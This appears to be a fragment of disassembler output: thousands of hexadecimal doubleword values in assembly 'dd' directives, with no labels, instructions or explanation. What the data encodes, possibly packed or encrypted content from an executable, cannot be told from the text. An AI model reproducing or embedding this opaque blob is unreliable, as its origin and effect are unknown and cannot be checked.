		dd 5A0213A3h, 0F2040B3h, 84B7804Fh, 0E82008B0h,	0F23F83Eh
		dd 7061EA07h, 0BC604092h, 9233207Ch, 0A4E38209h, 3688640h
		dd 6CC109D9h, 24084728h, 1D26BEB0h, 10465E00h, 0B0A5AA03h
		dd 9290A21Bh, 1E6BE54h,	0D9FBD431h, 2D20AB30h, 0F808030Ah
		dd 941FFD57h, 0E0D6FE80h, 44BEE509h, 0FC800312h, 6090504Dh
		dd 0DC0C34B8h, 0C38CC3C8h, 40C53B4h, 1AD8140h, 6B28F19Eh
		dd 83B480EEh, 0D0F860F9h, 0D3018F2h, 7A02F1A6h,	2E206816h
		dd 30939022h, 51112269h, 538857E8h, 22312380h, 0B119A214h
		dd 0C2AB8070h, 0CA320D6Dh, 0F9339501h, 1D2DBE3Bh, 12F21022h
		dd 12174630h, 2080853Ah, 0CFD5BF9Ch, 3F5F5B00h,	0FE553E83h
		dd 18DE0042h, 0CCDBB037h, 0E0A4BE51h, 3C40601Ch, 0C8E6E030h
		dd 48045D70h, 0D0EC7A09h, 36F964A0h, 8018A2D4h,	9320098Ch
		dd 0CDC4A023h, 51D10FA7h, 0DF00B603h, 6A6E1BA8h, 8B7E3Dh
		dd 6D649FBEh, 39CB1126h, 2F5EC33h, 0EA708619h, 98C814B3h
		dd 0B9158D54h, 0FBC0689h, 0C4AEAB22h, 0BCC27174h, 24C06983h
		dd 93402180h, 1D05F9AEh, 0CA03CE7Ah, 50A4BC20h,	0BF500058h
		dd 33F3D26Ch, 0DC1641E3h, 9C03D7F8h, 0F8A2CB60h, 0F19C3802h
		dd 58B7D450h, 92800F9Eh, 578CAD33h, 52007319h, 3B48011Eh
		dd 35646C8h, 323A693h, 0AD989766h, 0FCC6B863h, 5E7AF0CEh
		dd 0D49C021Ch, 6D00C3E0h, 1E765FB7h, 0CFD7101Eh, 0BCE64041h
		dd 0C800A85Ah, 66C59330h, 0FA175378h, 2F39C0FEh, 367B4210h
		dd 0A356B707h, 950070A0h, 1453BA5h, 194D58F2h, 243F8033h
		dd 6D0FEB2Ch, 0E0CD25DDh, 81AAC162h, 0F4710287h, 0E707D6EEh
		dd 3D542CC0h, 501171Fh,	6F504181h, 0A5C2D57Ah, 6C87C4ACh
		dd 7F082FE3h, 0BD9E17C8h, 0BE340A04h, 0AEAAC0D0h, 0A9467405h
		dd 7D00F722h, 0C223AE92h, 7A035396h, 1F0705C5h,	2043FE65h
		dd 0A89046BCh, 1D68DF59h, 0B4645798h, 6E609244h, 0E8255622h
		dd 44166Fh, 37223626h, 6B460FB4h, 0CFFE0306h, 321629Fh
		dd 0DDB7BA9h, 67EA7208h, 90E84080h, 0D3881A24h,	0D4C81837h
		dd 0B07A1019h, 989948A4h, 0F0185C71h, 17C9DB00h, 0E26740C2h
		dd 6325266Ah, 26080828h, 80BC8814h, 171AD597h, 64A80B4Eh
		dd 8420BA2h, 60538C84h,	2318AE95h, 0F111A174h, 0AEBD4200h
		dd 0B1F20E8Fh, 8001E3B8h, 0A6BA27ECh, 0E4304107h, 70480923h
		dd 9490DBFCh, 91428728h, 50603110h, 0FA400CA8h,	0DB2628BDh
		dd 6B18EB84h, 0E84B2208h, 4059C447h, 0CE223321h, 57B10676h
		dd 0A9F68810h, 0B83E8B00h, 8FAA30E9h, 0CA3D00DEh, 0A440A616h
		dd 0B3393BFEh, 70D5046Dh, 26010B08h, 0C0552BC2h, 9EE2E147h
		dd 7298207h, 300B57A8h,	12E54DCh, 9C848681h, 0FC1AE96Eh
		dd 6830790Eh, 0BE01E911h, 48502C64h, 0C441031Ch, 0E871E1F0h
		dd 3255FCC4h, 3E148CC1h, 6CBE1F00h, 37EDB700h, 755994E3h
		dd 3A44303Ch, 0FB22BF40h, 666EF02Ch, 0CE390D00h, 3CE1E6BAh
		dd 7A845206h, 0C326CC9Ah, 22816006h, 0C0408661h, 74807F62h
		dd 79B7F4ECh, 907A3863h, 85079EAh, 0A800E394h, 73F22BCh
		dd 30124AC3h, 62A64530h, 116F6023h, 52727EE9h, 0D1CBE500h
		dd 45292EC4h, 0D8F0C21h, 7BD8DAA1h, 28C4BF88h, 0F48442DCh
		dd 0E3B0AA6h, 0C0F8B803h, 0E84C2264h, 45107F46h, 2C200003h
		dd 1A601122h, 0AE250137h, 89938179h, 58A83938h,	0C95600EBh
		dd 32A4B6A7h, 0F31B17CDh, 7F5C0423h, 1F09EDh, 0B89146E2h
		dd 0A054E264h, 13EE4894h, 2AAFECDh, 603B80D4h, 0B9631400h
		dd 1CF70955h, 0A4E01572h, 0CE03A508h, 5A7C4AC5h, 1CE1C490h
		dd 27DEDB20h, 68A2853Fh, 0E0E951C3h, 842AF2E2h,	9EC2925h
		dd 85B818CCh, 4019DE7Ah, 68F908D0h, 0D3002E2Bh,	0E53C5B11h
		dd 4B95AE41h, 31285DABh, 8CBC98F8h, 794B9C11h, 38BB00C1h
		dd 14893BCEh, 30E73C78h, 6B4EF51Eh, 0D523142Fh,	0F920003Ah
		dd 98602689h, 905CBA97h, 112826FCh, 0ADE050B4h,	8BA2C09h
		dd 16808335h, 0E7C3AA69h, 600CE4ECh, 0C98CD2h, 0B6CD0DC2h
		dd 5183FA73h, 0C8B48622h, 50C013D8h, 466069A6h,	0D62257h
		dd 0F9A6B9A3h, 36CC4FABh, 80F6CB80h, 332502FBh,	9C000EACh
		dd 54F9B700h, 549C705Ah, 264F8E1h, 4680B5A3h, 6DC0BCA1h
		dd 1E4F9B42h, 0CC10C87Ah, 0B209840Ch, 7220426Ah, 90439646h
		dd 9B30D5A2h, 0F5E2B4h,	99B2FE2Fh, 5AB10333h, 64973A00h
		dd 4608E4A7h, 547B1267h, 41A84168h, 0CCCDBEA1h,	4004156Ch
		dd 6ED40A0Bh, 0A73058B8h, 0E29FAD2Eh, 5C50E000h, 0B0244386h
		dd 0C5A3001Fh, 620E7417h, 63000694h, 0CE46564Fh, 0FC154BE7h
		dd 372D0F81h, 6DC3DF7Fh, 8C90F186h, 1C0F05D6h, 8078D48Bh
		dd 99C4FADBh, 0B9350176h, 0CF5E22E3h, 0CFE1C1F2h, 0C7CB9800h
		dd 553774EBh, 7DFFA21h,	61515AACh, 0FF568017h, 1200E0BBh
		dd 0F8FAEB20h, 7274842h, 8EA0EAE5h, 0B96B3015h,	539C11Fh
		dd 0AF00FE9Eh, 7CF543Eh, 783779B6h, 4EE000Dh, 665C182Ch
		dd 0F900ADC8h, 6D862671h, 2A1A088h, 4068A2C7h, 0E884475Fh
		dd 778EC0Ah, 0BB9BDDA3h, 0F01E1790h, 450C01F1h,	4DAAB2D3h
		dd 0AD4F832h, 89157775h, 5E8BF83h, 6F4968CBh, 43508D87h
		dd 4C773Dh, 0D3B735F2h,	1014ADD8h, 0CD58D960h, 204F66C8h
		dd 774F53AFh, 7C193C92h, 0C1108058h, 0F3BBAE09h, 5E894C00h
		dd 0D0686F34h, 35701FB1h, 7D80FA8Ah, 185CCA8Fh,	3300A040h
		dd 985187E2h, 3557D3h, 9C20E837h, 81E8E47h, 0F6ECFC62h
		dd 8856E3h, 0C01746B4h,	7200E7AAh, 5E42269h, 79A755h, 1DCEB350h
		dd 91ED9F44h, 406A2313h, 83C4DCE1h, 64A900D2h, 0FEFC5F6Ch
		dd 9E1F93F9h
		dd 0E540848Eh, 0E99C4E24h, 5A77003Fh, 0C17CDBA5h, 2D07DE59h
		dd 300FAB90h, 335F6091h, 1CF54BE4h, 4097743Eh, 9DDD6A5Bh
		dd 0F92D02F4h, 0A210604Ch, 0A39100DCh, 0A50516D7h, 0B900A6CAh
		dd 0D4DE348Fh, 9D0680h,	428395FDh, 7FB7E41Fh, 53084702h
		dd 698E3892h, 80417A64h, 0BBC0724Ah, 83AF2E4Ch,	0E2B70052h
		dd 0B26747D7h, 0E1FF4107h, 0DA901768h, 8BFE3Dh,	0AF129C63h
		dd 2C6D39E7h, 0BA18739h, 804B3662h, 7DB5B25Fh, 5B490211h
		dd 128F4F3Eh, 73FAD060h, 29D60F1Dh, 0C3B13F00h,	0ECAA64B6h
		dd 0BE2B1F78h, 0F3201AFh, 0CCEEC974h, 4F016EB3h, 0D9885620h
		dd 0C088C1A1h, 94805E72h, 0FFAE1BE2h, 9F650067h, 0E660BD08h
		dd 0B800A531h, 0EE0AE3F2h, 409B4Bh, 9E5BF885h, 0A61C5D79h
		dd 0B46CD100h, 0BFD4F263h, 5FBC0047h, 0A7806B37h, 6CF0CEE5h
		dd 0A9A3AE00h, 0EE0B502Fh, 0DBC91DBEh, 0B260C093h, 9FC87A37h
		dd 0A8CA724Fh, 8906E61Fh, 90DAF59Dh, 4E42EB5h, 0B8A70Eh
		dd 0B5E810h, 540A4DCDh,	4803C38Ah, 8472807Dh, 667CAD04h
		dd 30BD7E59h, 9287A703h, 0E8889891h, 9C0C3C1Fh,	62EC512Dh
		dd 9F4A0F30h, 4DC0C7E0h, 40A5A0B0h, 1A1F7A73h, 38C07F3Fh
		dd 3E502496h, 7DD00FE5h, 0EE43E91Eh, 6D8023D2h,	937F1CB1h
		dd 428B0C00h, 95FE98C9h, 9B900321h, 3D3F13E1h, 0C1A7AAF0h
		dd 418E5E00h, 0F4C6552Ch, 24EF0052h, 333747DDh,	9C00E409h
		dd 799D8A8h, 968CF7h, 0F91C3CE5h, 6FABDD10h, 12B7600Eh
		dd 91C09F1Dh, 66D878BFh, 0C571211h, 8024F107h, 0D94C5549h
		dd 7888FEEh, 1C49C838h,	0A97CF41Fh, 182A0048h, 9648F509h
		dd 0DE1008Bh, 2E204AA7h, 5100F98Eh, 0F3F0D7DAh,	4F338AACh
		dd 6B1CC8E3h, 0CC0954Fh, 1DECABAh, 6911EBBh, 0D5A4253Ch
		dd 8F7B3008h, 189D3802h, 0A22E98EBh, 60817DD0h,	1CD5620Eh
		dd 0C0B17042h, 0F001CCFAh, 8E00A623h, 0D6F3B4BDh, 94B4CFEh
		dd 0D2CDC382h, 3B184C00h, 4E3DE0B6h, 0D65700F3h, 0B7AC39D4h
		dd 0F08E48E9h, 79C56701h, 413C04AEh, 80C2139Ch,	82B93BF8h
		dd 7444E64Fh, 0C4A63E06h, 0ACD37300h, 0C858E9E7h, 75627E00h
		dd 71D9BBD6h, 4776006Ah, 94FAF450h, 4F73875Dh, 861B7B07h
		dd 7E5499AAh, 0F5253890h, 40EE04C5h, 80472CD3h,	9CAB1268h
		dd 7080DF24h, 614BCB80h, 0FEA2F57h, 979189B4h, 4AA1AEE0h
		dd 1800C99Ah, 7771D313h, 0CFF6FCA3h, 0CF0DA624h, 7A1E451h
		dd 754AF500h, 0B7E1AF2Bh, 8A180110h, 40AD9201h,	69F7F34Dh
		dd 0FCE1F424h, 0DFB9847Ch, 0E3D58E8h, 0BA85A285h, 1CA8AFh
		dd 8F324568h, 4805E298h, 5F051C9Fh, 0BCEB2C2Eh,	0D5D100C0h
		dd 7332F12Bh, 80F71222h, 0B22800CDh, 5E6CA39Fh,	0D300C7FAh
		dd 0ADB90409h, 3D13F1h,	0E352F78Ah, 0C36B55EDh,	0DF38D007h
		dd 0B8E0EA94h, 0F74E4Bh, 0EE523305h, 5F7C53E0h,	3E555800h
		dd 491424A9h, 87D0Fh, 0EDD62733h, 21BF8EADh, 13006AB0h
		dd 94730BB9h, 16E0A9h, 7A80C45Dh, 0C715BB50h, 0EA3B5801h
		dd 1C193AD2h, 0F7EDC60h, 2182302Ch, 6C4E9CA0h, 0FC49A27Bh
		dd 44BA2D9Ch, 0AB6300A8h, 4EF73823h, 9E00F869h,	0E5724382h
		dd 0A06430B6h, 0B10F9Fh, 26139363h, 0BB4A95EDh,	3155C700h
		dd 0C3E97680h, 0F07A014Bh, 2341C4EBh, 0ABCBC02Ah, 4A25BE00h
		dd 98CFDEDDh, 5F90292h,	9009AC0Eh, 0E0B15740h, 9FE48B00h
		dd 0E7791D6Fh, 0D461000Ah, 7E4FCA94h, 2D076012h, 0DC1BF085h
		dd 55905947h, 0ABBEB4h,	0DF6DC2D8h, 19F0FF9Ch, 18BD1D02h
		dd 0C0EAFB1Ah, 9A5AA48h, 32BBEFBEh, 309F18E9h, 0B0B7FC20h
		dd 842CC0h, 9CC9E912h, 4151214Ah, 0FD376813h, 70857CE0h
		dd 1B8F2DF3h, 5FEB10E8h, 0C5894825h, 0B09C083Ch, 0CA4846h
		dd 0A9265542h, 89DE8B5h, 0E610A550h, 42E1D508h,	8BC195Dh
		dd 0D98CD19Ch, 17C82D2Ch, 0A4917464h, 5D95981h,	9E8B1E5h
		dd 9B7FEB0h, 6D17563h, 44E888h,	273D4691h, 38A0A708h, 40C3BC17h
		dd 0B8F165F2h, 3E541CAh, 76FB2364h, 7AD37D4Dh, 606A50E7h
		dd 0BA50E7A2h, 820D6228h, 8049816Ch, 1FD0BCE1h,	0E7210086h
		dd 0EB996E88h, 2602B461h, 93E410D9h, 0C02E43A3h, 0CB1912h
		dd 11DF52Dh, 0E361A8E2h, 9D75923Eh, 0F64ECF4Fh,	9902E32Fh
		dd 0C049C259h, 0A32E1Eh, 0B1BF363h, 98C1E2Dh, 25389E00h
		dd 896EB9C3h, 555C0020h, 88BD4344h, 0C8017216h,	3D4064DEh
		dd 9C689177h, 38C52E8h,	0D2CF1AF5h, 1903559Fh, 78DBA4D6h
		dd 3250C831h, 0A6FE50FBh, 0ECF8D4h, 0B38C6303h,	3E914A23h
		dd 80A2441Fh, 114EB81h,	0A0404DB1h, 9723B0E0h, 0C5202C0Dh
		dd 0ACB405E5h, 2FEEFEADh, 280228A8h, 0C87246FEh, 9B07BCE0h
		dd 0EDD9479Ah, 0F0905A30h, 8E28C308h, 593E1CF8h, 0C04410E8h
		dd 5AC30707h, 1078FF70h, 752E837Ah, 0B10075D7h,	0E374082Ch
		dd 713A0072h, 92DB06BFh, 1C0070C8h, 6ECCF827h, 2ACAC0h
		dd 0DD7F8344h, 0DF955F46h, 80CDAF3Bh, 0CB7728CCh, 0CE1A42h
		dd 0A44C3701h, 0BBB4EBC7h, 0DE71F200h, 25AB8C04h, 0D66300BEh
		dd 0EA7E8367h, 29CED239h, 0A908581Ah, 0D7580091h, 47E22CCEh
		dd 201D2EFFh, 2480127Dh, 0EBC089F9h, 0BB761825h, 0E10448D4h
		dd 993E2100h, 50D74564h, 82731DFFh, 46A04032h, 291B36C2h
		dd 0CBF3F214h, 0E9DC01D8h, 3B7834A9h, 0CDF6AD1h, 0EDBDCE18h
		dd 0A30FF332h, 80EA31E1h, 91B1BFDAh, 25350368h,	0B82BBA52h
		dd 6A0C58D6h, 0B9C81A4Bh, 219207FEh, 30F9D7ACh,	7C0C47C6h
		dd 5DCF0618h, 80BAABB0h, 18612446h, 0C503C219h,	8482B895h
		dd 8F42FC00h, 0C9C12C49h, 0FD16CB39h, 0FF1BB0Bh, 0FB4080D8h
		dd 74F9D391h, 269A00A2h, 0C0C530B5h, 72EE6524h,	84D2C33h
		dd 602100B9h, 948FC51Fh, 76005513h, 0D58C279Dh,	283143Fh
		dd 4B44A731h, 0A9E1B839h, 8070FDB3h, 21EC6919h,	7410E995h
		dd 0F1911226h, 0BA21000Bh, 0A86083F7h, 6947BC00h, 0E2A4185Ah
		dd 0CB1000B8h, 58638E5h, 0D9035159h, 54FB967Bh,	24910095h
		dd 7870AFD8h, 841B99CFh, 1020A230h, 0C0FEE1D8h,	273AC56Ah
		dd 0B6448C35h, 0C5590066h, 27D79585h, 3C016160h, 0DFAE52BEh
		dd 60814FD3h, 0E9772618h, 3AC18085h, 0BF37ED3Ch, 8DC807A2h
		dd 46C93207h, 4C002116h, 0ECDCE2E4h, 4D9E99Ch, 0CF246B0Ah
		dd 386009Ah, 3C675801h,	0CA05108Ch, 0A06D93h, 0EED4EF9Ch
		dd 190F09F6h, 83571576h, 9006D988h, 3CB53368h, 3680AF4Fh
		dd 46EBA489h, 7000137Bh, 0C4579EE8h, 7C9AFBh, 37A807ACh
		dd 6DDE9967h, 5A9393Ah,	20A165DDh, 0B83F8483h, 0EC74CEh
		dd 4862CC47h, 34163678h, 5D3E5201h, 30541EBAh, 61F1B5F0h
		dd 82F9200Dh, 0D7A6FC2Ch, 0F58D2F06h, 6008048Fh, 194D217Eh
		dd 0C206F63Eh, 61024992h, 80670018h, 0C4BA9674h, 730325A8h
		dd 0D5553E10h, 0A3ABA853h, 0B1E70105h, 0CF18B8C9h, 5101FBECh
		dd 795F3317h, 1320F66Bh, 16E101F1h, 8EFAF202h, 7CB880F9h
		dd 6B263008h, 7E702C9h,	7FEC9037h, 12433EC0h, 31EF509Fh
		dd 1738B92Ah, 1D6883CFh, 1B1AA328h, 206F9908h, 6C9F100Ch
		dd 8CC8F8D4h, 0A13E2F04h, 696207D7h, 3E18A220h,	7C6700E5h
		dd 54B76025h, 62003861h, 5E3C4F70h, 79E97A9h, 0DFFF463Eh
		dd 0FCA1CEACh, 0D0933F37h, 402A178Ah, 0C700C4CDh, 0B0298450h
		dd 6D5B80Ah, 0F5030E19h, 0CF469860h, 5C3E2A02h,	0C030DFD7h
		dd 174F804Bh
		dd 0E1943E00h, 6FEA7AB4h, 5662188Bh, 0A161417Dh, 6A8636Fh
		dd 7881D147h, 1FD600EDh, 0F720A8FDh, 31DF4A3Dh,	28F82B00h
		dd 53BCF0FCh, 0C6A194D7h, 20C4Bh, 7C37D6F3h, 66477AAh
		dd 0E6E85B05h, 4A82E2DFh, 112C9794h, 61B780C5h,	0EEFEC792h
		dd 99F0CC6h, 8FB946D3h,	0B86BD4F7h, 1DF0AD98h, 0FB3ED19h
		dd 15E07360h, 803E5449h, 899100D9h, 24A64CB2h, 4E667B6Dh
		dd 1219C08h, 0B489A9CAh, 0FC04B86Eh, 0D203612Ah, 281F99BEh
		dd 0BF362h, 0FFB3E0B9h,	0C5E7A529h, 0E9C28E03h,	0A0CDB893h
		dd 90683D90h, 79EC307Ch, 90B5431h, 11EA8108h, 5BBE09FFh
		dd 0BD987420h, 0B609F3DBh, 0CF54FAh, 0ACA16F7Dh, 0BF5229D5h
		dd 4BC800E4h, 260188EFh, 0EB72FC00h, 36C0691Ah,	0A30D00E7h
		dd 4E93B38Fh, 9219F9C6h, 18617E40h, 0E0C3B06Eh,	232EB50Ch
		dd 0C06B09FFh, 0CDC9B821h, 0EC30859Bh, 7B8BB153h, 434C001Bh
		dd 0FE21053Bh, 0FD0CBB73h, 3988BEC7h, 14A6FC49h, 0A2B9A24Ch
		dd 8095FB1Eh, 4A050B0Fh, 56003A20h, 0C886EB43h,	0E08F74h
		dd 0E6FE9EA1h, 0AC581318h, 0AB463492h, 0BE3E361Fh, 2C8C3F93h
		dd 330E4B44h, 83D71C3Eh, 6AEC19h, 0C78E3619h, 73E4B412h
		dd 7A051E01h, 494AC561h, 3E281424h, 9F027EB6h, 0C70ED5A4h
		dd 6B84B08Eh, 0CE090361h, 1027F87Eh, 0B9310339h, 0DE405C83h
		dd 0C83F5690h, 0CC1DC128h, 7B2CDB1Ch, 30085BD2h, 8903C033h
		dd 36464CBCh, 9001E722h, 2D0E89BBh, 998723B7h, 53C5E665h
		dd 0FF369D2h, 8E5BD11Ah, 8901D98h, 20614BC0h, 42F40FBEh
		dd 0CBD8064Fh, 0E958E102h, 0D3641D76h, 6889EC91h, 7F9FC0FAh
		dd 9960FCE3h, 200E1F1Ch, 59EEE500h, 28C2B333h, 5283002Ah
		dd 0EAF91B12h, 960008D9h, 4641B5C1h, 248E90Bh, 58511EB0h
		dd 0C84122CDh, 2718676h, 4F9478Dh, 7F50E693h, 0B10488BAh
		dd 3EE81F8Ch, 8D0F4892h, 0B9417B64h, 0CC663E15h, 0D660408Ch
		dd 61278E61h, 0F79E75B2h, 75A5BEE4h, 218D6866h,	801711D8h
		dd 4CB08907h, 0C0089996h, 0F989BFB4h, 5B159A00h, 0EED25E57h
		dd 8E022813h, 0E6901364h, 10E03A10h, 0C2DD4869h, 990C1BE1h
		dd 0DA08809Dh, 0EA0E604Bh, 260655ABh, 0FBE11CC2h, 1D7C98B9h
		dd 139EBBC8h, 0BF0808ECh, 2ECD5CC0h, 228D46E0h,	0C4BF026Ah
		dd 55CBAFCDh, 7F86C60h,	3B040D00h, 5F81F77Fh, 525344F3h
		dd 0D7E95800h, 92189E02h, 28690484h, 9040E09Ah,	73B94838h
		dd 34777F79h, 30395E8h,	0CB565C3Fh, 18F190B4h, 8A3669Dh
		dd 0DC7D2106h, 0EB595600h, 7C923625h, 0C8810CEh, 80AA1E1Fh
		dd 0A78DBE4Fh, 0E30F057h, 1F341EFAh, 4F42287Ah,	5ECCF1Fh
		dd 0C7006331h, 0DB9BFD22h, 0CC86EC43h, 0C3210E09h, 36222F2Ch
		dd 9F680D00h, 0DBF76387h, 1CF82088h, 9660A72Bh,	0A2CDF511h
		dd 0DF68035Ah, 0D710633Bh, 1CB90800h, 0B5D67F60h, 0D1F405A2h
		dd 0C0E1CA89h, 0A5D51F1Ch, 7E669418h, 0C08D1458h, 0BBE04F61h
		dd 0AF01AB0Ch, 0CE419889h, 10D82F3Ch, 66B5014Dh, 46B323FAh
		dd 5034FDEAh, 936EFF90h, 48002C74h, 10FC4569h, 5890B64h
		dd 1FBD97B3h, 0C58060B5h, 9B23F322h, 7F0B112Bh,	0E7222D00h
		dd 0DE385CADh, 6933603Bh, 92281723h, 0B9715600h, 32059BD7h
		dd 34DA2890h, 230468Ch,	6857A2C4h, 10A131D7h, 0AA2CCD5h
		dd 3583EAE0h, 0FEB20364h, 1107B319h, 0AECE841Fh, 33E209EFh
		dd 0C956D818h, 22BB46B4h, 0C62E0309h, 98C75056h, 707C1BFBh
		dd 0BC04BD48h, 0AD158C0Fh, 0ED46C3Bh, 0DC697673h, 2B3C01FCh
		dd 0F2263566h, 65BCFCCh, 0CE3BBF6Fh, 0E746B0ABh, 0CA566102h
		dd 53113B4h, 56E00015h,	5A06A068h, 1088F30Ah, 0B8C4E01Ch
		dd 0F422C060h, 11939B23h, 0C8E2000Ch, 779F9622h, 3B591888h
		dd 0B414C16Bh, 689C3500h, 7602911Fh, 5FF1FAEh, 0A6BDBD54h
		dd 407BAC1Ch, 9F6AF8F0h, 0ECA1692Bh, 8CB182Dh, 0EF685CA2h
		dd 0D040B8C4h, 34B7A2B3h, 140359B8h, 0E8663CA9h, 5D411F90h
		dd 0EF0EB19h, 7320FF52h, 3032B3E3h, 2D750501h, 6217B695h
		dd 0F3DF2980h, 290CC445h, 0E41BF80Ch, 0C07808D1h, 45E0A421h
		dd 35070919h, 303EBAABh, 4EA555D1h, 30B2A042h, 0FE1122CAh
		dd 888C39Bh, 2232E080h,	5E6155h, 6BCCDEA0h, 9C423575h
		dd 14FA9F7Fh, 66796860h, 0CDBBCA9h, 80C0307Bh, 0E8CD1B8h
		dd 0CC145FAh, 80208851h, 145E7A9h, 0DF00BAF1h, 88B740A5h
		dd 913531DAh, 0D5EA8FBCh, 7C9C2C78h, 0B52EE001h, 9015FFE5h
		dd 1F4E8048h, 80999FD8h, 0F371C8B7h, 5D09AE77h,	17962330h
		dd 80099148h, 697E177Ah, 0A0922Fh, 0AE9BA223h, 4C6EC9FDh
		dd 0DEBF6600h, 0ACC0A40Bh, 0D3F0A8A3h, 0EFDF3A32h, 71777C80h
		dd 0B66F3E2h, 3521EE60h, 2A415F19h, 0F8B899EAh,	8C6450FCh
		dd 9188F237h, 0DB1A00D8h, 868304AEh, 132B1700h,	2352716Fh
		dd 0B5B4A1C8h, 4508FE18h, 0C4E10CC5h, 0FBA54173h, 15D47645h
		dd 84CB0954h, 0D4046034h, 565760E5h, 0A3B423C4h, 0DFC43Eh
		dd 0A0E856CFh, 92B81559h, 1475677Dh, 7E698B61h,	0D9BE2123h
		dd 0CD0B63Fh, 0A419526Ah, 19E36F1Bh, 4C9EEAC1h,	6E327E84h
		dd 443E11F6h, 0A76F2E00h, 69900AEh, 16BB2082h, 0BA3CAF00h
		dd 1F23183Fh, 19DF148Bh, 898088B9h, 7E2FAE6Eh, 51201230h
		dd 515B7B83h, 0EADCC0FDh, 991B4494h, 8C8B6E1Dh,	0D903E413h
		dd 0E01E8986h, 92EFAC13h, 11ED01ECh, 8B639345h,	78DDCC48h
		dd 0C7A7521Ch, 1889FF41h, 0BBE1A550h, 0DBB63180h, 0A10D3216h
		dd 0A0627900h, 2B953EF3h, 58B300B5h, 84C7DC09h,	0E883308Dh
		dd 8AAE5Fh, 0E17C1C72h,	0AF1F0916h, 0A70919FEh,	9034FD36h
		dd 0B1FF64h, 84A0E127h,	7890CCC3h, 0DBB92C00h, 82B2CD30h
		dd 0B19C00A2h, 0C473249Fh, 600AFC99h, 90871817h, 38D62380h
		dd 9323C1Eh, 0F33B7897h, 2E3EF003h, 96F96FD8h, 157F80h
		dd 0BC01CA5Eh, 378205B8h, 7E7A9D06h, 26B91810h,	4908F114h
		dd 0B145D480h, 0E90337B7h, 9D59B070h, 641AE0A6h, 0C0CF507Ah
		dd 318A63F1h, 690097ACh, 60DBC467h, 1E664AEBh, 0C3835869h
		dd 6CA6412Dh, 8129CD80h, 0EB58C660h, 342105AEh,	87497414h
		dd 403D40D8h, 0D800D3FFh, 7F3A7CAAh, 285EC78Eh,	125CF975h
		dd 2017441Ah, 7F943358h, 311E3AF8h, 86C49227h, 20802CD5h
		dd 3D58C5A8h, 1277E4EAh, 3064D438h, 6FB9A008h, 0F29B0F01h
		dd 0B39961C6h, 0E340B5E9h, 918D7BAh, 2D66121Ah,	1E3D3800h
		dd 0A07E8684h, 2F5E3C02h, 43FC081Ch, 7ED60A1Ch,	42A8136Bh
		dd 2C2E65B9h, 1474030h,	6D758337h, 404D9867h, 8CB1E7A3h
		dd 4A04CC9Ah, 871406D1h, 92555D40h, 7F009B8Fh, 0FB848CCBh
		dd 3A56489Ch, 0CCC819F3h, 9E580A81h, 50EDC5ACh,	4CF472C4h
		dd 0C6F08B06h, 5600AFFh, 19C8DCAAh, 534C01B4h, 0F2B62383h
		dd 93667900h, 506F493Bh, 89CE5100h, 0F4E9ECC0h,	0CD836000h
		dd 81DBFEB3h, 9A1E002Fh, 5BC652E4h, 0A8A8A5A7h,	860003EAh
		dd 30A3C197h, 1C43E26h,	0A4A216D2h, 6243D412h, 0C6280050h
		dd 0F5041127h, 8A5B171Ah, 0C78EF05Eh, 50ED0B03h, 0C07ADDA2h
		dd 105E19Ch, 358A9B0Ch,	8076143Ch, 535496C1h, 2D3147h
		dd 30CE2C50h, 8884799Dh, 0F7692260h, 705829Bh, 373C0E80h
		dd 0EAAE30EBh, 10904DF1h, 0D66510Ah, 44A49CECh,	0CC24A900h
		dd 7498779Dh, 1AC99EAh,	0D2A87166h, 6942217h, 2E297DC4h
		dd 8C9170h, 44D298B5h
		dd 0F4733A9Eh, 1B05F000h, 0B732DA58h, 14CE18F8h, 0B8C74169h
		dd 0E09D1D00h, 0E842E4AFh, 0C9FF4ABh, 3A3B894Ah, 0E5005F79h
		dd 736343C5h, 2DB98CAh,	0A741E99Fh, 2C40FA1Bh, 1E608834h
		dd 298F8381h, 0D7110067h, 0DD92AB3Ch, 6D126FFAh, 0A0008A64h
		dd 0AC8EE41Eh, 0A78D008Fh, 6E0810EBh, 350E9CCAh, 0C7445CE9h
		dd 3280C058h, 75FB9E83h, 2CE404EFh, 8C506EBCh, 36E8A8D8h
		dd 0C11A48h, 935FE51Ch,	1893260h, 0ABF1A5C9h, 246D3BE2h
		dd 0A00DB28h, 0B44E2766h, 0F6DDE63Eh, 71AB00F9h, 0AF02AA12h
		dd 4214FAF7h, 26D022BAh, 0BC037144h, 0CF378464h, 3D107CD0h
		dd 761E06E8h, 899114D4h, 2E98FD00h, 9753D07Eh, 0C4050285h
		dd 0FBC25EB7h, 0B625AC40h, 0D678665Ch, 83EA3031h, 6613402Dh
		dd 4F9830FFh, 0E54C53D7h, 9C9428DCh, 0EAB9410Ah, 44ACC85h
		dd 21828760h, 0FFF3004Ch, 0E2AC9FCDh, 0F924663Ch, 88968CA0h
		dd 524E1020h, 322700FEh, 86F8E9C9h, 564003A6h, 3B30183Dh
		dd 0B47E6138h, 5CB2D700h, 2936FBFAh, 4D490BFh, 0E80A32ADh
		dd 0F150822Eh, 10A16861h, 79DC5EF2h, 0B8030028h, 2339777Bh
		dd 750FA524h, 0FCC16C52h, 0F51E2180h, 4DE835Dh,	0EAB6739Ch
		dd 3960B29Bh, 0F21910B5h, 63E9EAC2h, 0E222A4E1h, 5F3CE400h
		dd 66DF3BD1h, 9974A228h, 0C5FC00FCh, 4E7B5114h,	9CAD3Bh
		dd 0CBE4627Eh, 3BD8E5DAh, 0B782699Dh, 0A051B1BCh, 9100F051h
		dd 7D98241Bh, 6A490316h, 59FFF2F0h, 0E9922190h,	180051F6h
		dd 74AC9C3Ch, 49DF2DCAh, 78CFD4A5h, 0EAA7AB03h,	2F379900h
		dd 0A5314859h, 266EEDEh, 0FB3D4CF0h, 460C0FFh, 15F8C753h
		dd 1C734D2Eh, 1FD70F07h, 0C414B0C2h, 65640074h,	0C2E7503Ah
		dd 0A904BB87h, 0ACFC47F6h, 0D480C8h, 16137DDDh,	80C8A48Fh
		dd 0B6020C01h, 0E138F65Bh, 1FAED840h, 3E610410h, 0C7561D26h
		dd 40C2BF70h, 5840307Bh, 0F7615ADAh, 6E3360C8h,	0B1758C50h
		dd 0AC84957Dh, 0B9948758h, 35A70080h, 5C4A9D5Dh, 3B3F6020h
		dd 0CBBA003Eh, 8CE6CF1Ah, 7360143Dh, 0FF3441C9h, 0D4B20475h
		dd 0C0E03B55h, 5B766BC6h, 1BC9B70Fh, 7E62A13Ch,	5C241A17h
		dd 0B037543Eh, 9609383Dh, 2605A780h, 27EFF62h, 42A95B02h
		dd 51449D0Bh, 393B8C14h, 9F019839h, 50546E32h, 6F01EC07h
